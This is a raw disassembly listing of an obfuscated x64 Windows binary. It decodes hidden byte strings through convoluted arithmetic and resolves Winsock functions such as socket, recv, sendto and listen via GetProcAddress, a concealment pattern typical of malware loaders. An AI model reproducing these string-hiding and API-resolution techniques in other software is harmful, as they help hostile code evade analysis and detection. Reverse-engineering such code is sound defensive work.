movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xf0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d7a6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006dea7
movzx r9d, r11b
lea edx, [r9 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e0b7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006dcb2
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14006e1c7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006def7
movzx r9d, r11b
lea ecx, [r9 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
jmp 0x14006e15b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006df21
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
dec r11
inc r11
jmp 0x14006d7a6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006df49
movzx r9d, r11b
lea ecx, [r9 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x61
jmp 0x14006e1a2
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006df6d
lea ecx, [r11 + 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x15
jmp 0x14006e1c7
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006dc69
movzx r9d, r11b
lea ecx, [r9 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x11
jmp 0x14006e0b7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006dfd3
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xf0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d7a6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006dfff
movzx r9d, r11b
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x14006e0b7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006e02b
movzx r9d, r11b
lea edx, [r9 + 0x4a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 6
add dil, dl
jmp 0x14006e1a2
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006dc29
movzx r9d, r11b
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006e15b
movzx r9d, r11b
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, byte [rbp + r11 + 0xf0]
sub dil, al
sub dil, 0x48
add dil, r10b
add dil, dl
jmp 0x14006e1a2
movzx r9d, r11b
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x22]
jmp 0x14006e0b7
movzx r9d, r11b
lea ecx, [r9 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
add r9b, 0x39
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x71
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xf0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14006e1fa
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
jmp 0x14006e1c7
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
dec r11
inc r11
jmp 0x14006d7a6
movzx r9d, r11b
lea ecx, [r9 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
jmp 0x14006e15b
movzx r9d, r11b
lea ecx, [r9 + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x17
sub r9b, 0x73
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x25
add r10b, r9b
mov byte [rbp + r11 + 0xf0], r10b
inc r8
dec r11
inc r11
jmp 0x14006d7a6
movzx r9d, r11b
lea ecx, [r9 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x77
add r9b, 0x63
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x4b
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0xf0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006d7a6
lea rcx, [r11 + r12]
movzx r10d, dl
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x21
add dil, cl
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0xf0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xf0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d7a6
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x47
movzx eax, byte [rbp + r11 + 0xf0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d7a6
add r11b, 0x17
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x5f
jmp 0x14006d7a3
add r11b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x39
jmp 0x14006d793
lea rdx, [rbp + 0x177fad4]
jmp 0x14006e2bf
lea rdx, [rbp + 0xaf00bf]
jmp 0x14006e2bf
lea rdx, [rbp + 0xf0]
mov r13, qword [rbp + 0x410]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
mov byte [rbp + 0x110], 0xcb
mov byte [rbp + 0x111], 0xe4
mov byte [rbp + 0x112], socket
mov byte [rbp + 0x113], 0xf4
mov byte [rbp + 0x114], 0xed
mov byte [rbp + 0x115], 0xe3
mov byte [rbp + 0x116], 0xea
mov byte [rbp + 0x117], 0xe0
mov byte [rbp + 0x118], 0x1f
mov byte [rbp + 0x119], 0xc1
mov byte [rbp + 0x11a], 0xe5
mov byte [rbp + 0x11b], 0xe0
mov byte [rbp + 0x11c], 0xac
xor eax, eax
mov dword [rbp + 0x11d], eax
mov byte [rbp + 0x121], al
movabs r14, 0x34c830bf7d94bb14
movabs r12, 0x9e58923e78be313c
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x12
jae 0x14006eeb5
movzx r11d, byte [rbp + r10 + 0x110]
mov r9, r11
nop dword [rax]
cmp rbx, r10
ja 0x14006eea9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006e3bc
lea rcx, [r10 + r14]
mov rax, r11
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r11
add rdi, rcx
add dil, 0x74
jmp 0x14006e3f6
je 0x14006ee2f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006edc3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006ed70
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006ed3e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006ecf7
cmp r8, r10
ja 0x14006eea0
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14006e420
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
jmp 0x14006e460
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006ecd7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006ecb2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006ec93
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006ec78
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14006e9d0
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006e9b1
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006e98d
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006e96c
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006e94d
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006e92e
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006e90f
lea rcx, [r8 + 0x40]
cmp rbx, rcx
je 0x14006e8f0
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006e8d1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006e8a0
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006e470
mov rbx, rcx
lea r8, [rcx + 0x42]
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x14006ee80
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14006ee60
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x14006e652
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x14006e633
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x14006e618
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x14006e84f
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x14006e806
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14006e7c6
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x14006e7a0
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x14006e470
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x61]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006e773
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006e758
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006e73d
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006e722
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006e704
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006e6e1
lea rcx, [r8 + 0x20]
cmp rbx, rcx
ja 0x14006e6bc
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14006e694
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006e671
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006e470
mov rbx, rcx
lea r8, [rcx + 0x28]
jmp 0x14006e470
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 4
jmp 0x14006e460
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006e3f6
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006e386
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x14006ed11
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14006e373
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006e373
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x14006ec33
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
jmp 0x14006ed54
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x68
jmp 0x14006ed57
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x50
jmp 0x14006ed95
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
jmp 0x14006edea
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
movzx eax, byte [rbp + r10 + 0x110]
add rax, r8
add r10, rax
inc r10
jmp 0x14006e373
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x64
mov byte [rbp + r10 + 0x110], dil
inc r10
jmp 0x14006e373
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4c
cmp r8, 8
jb 0x14006e7b6
movzx r9d, r10b
lea ecx, [r9 - 8]
movzx eax, cl
and al, r11b
mov edx, 0x1c
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
jmp 0x14006ed11
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x34
cmp rbx, 0x2a
jae 0x14006ec11
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14006eb39
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006e7dc
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1c
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x14006ec5c
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14006eab7
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5c
jmp 0x14006e81c
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x110]
add rax, r8
add r10, rax
inc r10
jmp 0x14006e373
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006edea
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ed95
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ed57
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ed54
movzx r9d, r10b
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
jmp 0x14006ec33
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
dec r10
inc r10
jmp 0x14006e373
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
inc r8
dec r10
inc r10
jmp 0x14006e373
movzx r9d, r10b
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x28
jmp 0x14006ed11
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14006e9f8
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006e865
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ea32
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x110]
add rax, r8
add r10, rax
inc r10
jmp 0x14006e373
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ea56
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x28
jmp 0x14006ed95
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006ea87
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14006e373
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14006e865
movzx r9d, r10b
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ed11
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006eadf
movzx r9d, r10b
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x14006ed11
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006eb0d
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006e373
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006e81c
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ed54
jne 0x14006eb6c
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x110]
add rax, r8
add r10, rax
inc r10
jmp 0x14006e373
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006eb90
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x14006ed95
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006ebb4
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x50
jmp 0x14006ed54
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006ebe1
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
dec r10
inc r10
jmp 0x14006e373
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006e7dc
movzx r9d, r10b
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ed11
movzx r9d, r10b
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + r10 + 0x110]
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x34
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x6c
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x110], cl
jmp 0x14006ed54
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006ed95
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
jmp 0x14006ed57
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ed54
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006e373
movzx r9d, r10b
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006ed11
movzx r9d, r10b
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x64
add r9b, 0xc
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x54
add r9b, r11b
mov byte [rbp + r10 + 0x110], r9b
inc r8
dec r10
inc r10
jmp 0x14006e373
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 4
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14006e373
movabs rcx, 0x7179553c6f111d8c
add rcx, r10
movzx r11d, r9b
and r9b, cl
mov eax, socket
sub al, r9b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
lea edx, [r10 + 0x5c]
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x110], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14006edea
movabs rdx, 0x7e8f3bd73e7a764
add rdx, r10
movzx r11d, r9b
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea ecx, [r10 + 0x70]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x10
add r11b, cl
mov byte [rbp + r10 + 0x110], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x110]
add rax, r8
add r10, rax
inc r10
jmp 0x14006e373
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
mov edx, 0x2e
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x110]
add rax, r8
add r10, rax
inc r10
jmp 0x14006e373
add r10b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006e370
add r10b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006e357
lea rdx, [rbp + 0x16db280]
jmp 0x14006eebc
lea rdx, [rbp + 0x1426d94]
jmp 0x14006eebc
lea rdx, [rbp + 0x110]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov byte [rbp + 0x130], 0x1b
mov byte [rbp + 0x131], 0xcd
mov byte [rbp + 0x132], 0xcd
mov byte [rbp + 0x133], 0xc8
mov byte [rbp + 0x134], 0x29
mov byte [rbp + 0x135], reloc.WS2_32.dll_listen
mov byte [rbp + 0x136], 0x27
mov byte [rbp + 0x137], 0xd1
mov byte [rbp + 0x138], 0x2c
mov byte [rbp + 0x139], 0xd5
mov byte [rbp + 0x13a], 0x2f
mov byte [rbp + 0x13b], 0x43
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x13c], xmm0
mov word [rbp + 0x14c], ax
mov byte [rbp + 0x14e], al
movabs rsi, 0xef9908f68ebaf8cc
movabs r12, 0x8d2f3ebde71ccd94
movabs r14, 0xcecb1ae3ac30ea64
movzx edi, byte [rbp + 0x400]
nop dword [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1f
jae 0x14006f9e6
movzx r10d, byte [rbp + r11 + 0x130]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006f9da
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006efbc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
add dil, 0x6c
jmp 0x14006eff0
je 0x14006f95d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006f8d0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006f8a8
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006f85a
nop dword [rax]
cmp r8, r11
ja 0x14006f9ce
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x14006f01e
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x14006f060
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006f83e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006f819
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006f7ba
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f79e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006f76d
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006f4d6
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006f4b3
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006f48b
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006f466
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006f598
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006f44a
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006f42e
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006f3fd
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006f070
lea rbx, [r8 + 0x64]
lea r8, [rbx + 5]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006f9ae
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006f98e
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006f210
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006f1f5
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006f1da
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006f3b0
lea rcx, [r8 + 0x61]
cmp rbx, rcx
jb 0x14006f36c
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14006f342
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006f070
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x14006f311
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14006f2f2
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14006f2d6
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14006f2ba
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14006f29b
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14006f278
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14006f253
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14006f22b
mov rbx, rax
lea r8, [rax + 0x200]
jmp 0x14006f070
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x14006f060
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14006eff0
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x14006ef86
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x14006ef73
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006ef73
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx r9d, r11b
jmp 0x14006f7d8
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
jmp 0x14006f7fd
